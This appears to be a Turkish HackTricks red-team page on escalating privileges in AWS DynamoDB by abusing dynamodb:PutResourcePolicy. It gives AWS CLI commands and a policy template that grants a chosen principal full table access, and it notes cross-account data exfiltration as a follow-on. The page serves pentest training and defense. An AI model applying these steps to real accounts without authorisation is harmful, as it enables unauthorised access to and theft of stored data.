AWS - DynamoDB Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

dynamodb

dynamodb hakkında daha fazla bilgi için bakınız:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, ve isteğe bağlı olarak dynamodb:GetResourcePolicy

Mart 2024’ten beri, AWS DynamoDB için kaynak tabanlı politikalar sunuyor (AWS News).

Bu yüzden, bir tablo için dynamodb:PutResourcePolicy iznine sahipseniz, kendinize veya herhangi bir diğer principal’a tablonun tam erişimini verebilirsiniz.

Rastgele bir principal’e dynamodb:PutResourcePolicy vermek çoğunlukla kazara olur; eğer yöneticiler dynamodb:Put* vermenin sadece principal’in veritabanına item koymasına izin vereceğini düşünürse — veya bu permissionset’i Mart 2024’ten önce vermişlerse…

İdeal olarak ayrıca dynamodb:GetResourcePolicy izniniz de olur, böylece diğer muhtemelen hayati izinleri üzerine yazmaz, sadece ihtiyacınız olan ek izinleri enjekte edersiniz:

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Mevcut politikayı alamıyorsanız, tablo üzerinde principal’inize tam erişim veren bu politikayı kullanın:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Eğer bunu özelleştirmeniz gerekirse, tüm olası DynamoDB eylemlerinin listesi burada: AWS Documentation. Ve resource based policy ile izin verilebilecek tüm eylemlerin ve bunlardan hangilerinin cross-account olarak kullanılabileceğinin (düşünün data exfiltration!) listesi burada: AWS Documentation

Şimdi, policy document policy.json hazırsa, resource policy’i yerleştirin:

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Şimdi ihtiyacınız olan izinlere sahip olmalısınız.

Post Exploitation

Bildiğim kadarıyla sadece bazı AWS dynamodb izinlerine sahip olarak AWS üzerinde ayrıcalıkları yükseltmenin başka doğrudan bir yolu yoktur. Tablolardan hassas bilgileri okuyabilir (bu bilgiler AWS credentials içerebilir) ve tablolara bilgi yazabilirsiniz (bu, lambda code injections… gibi diğer zafiyetleri tetikleyebilir) fakat tüm bu seçenekler zaten DynamoDB Post Exploitation page içinde ele alınmıştır:

AWS - DynamoDB Post Exploitation

TODO: data Streams’ı suistimal ederek veri okuma

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin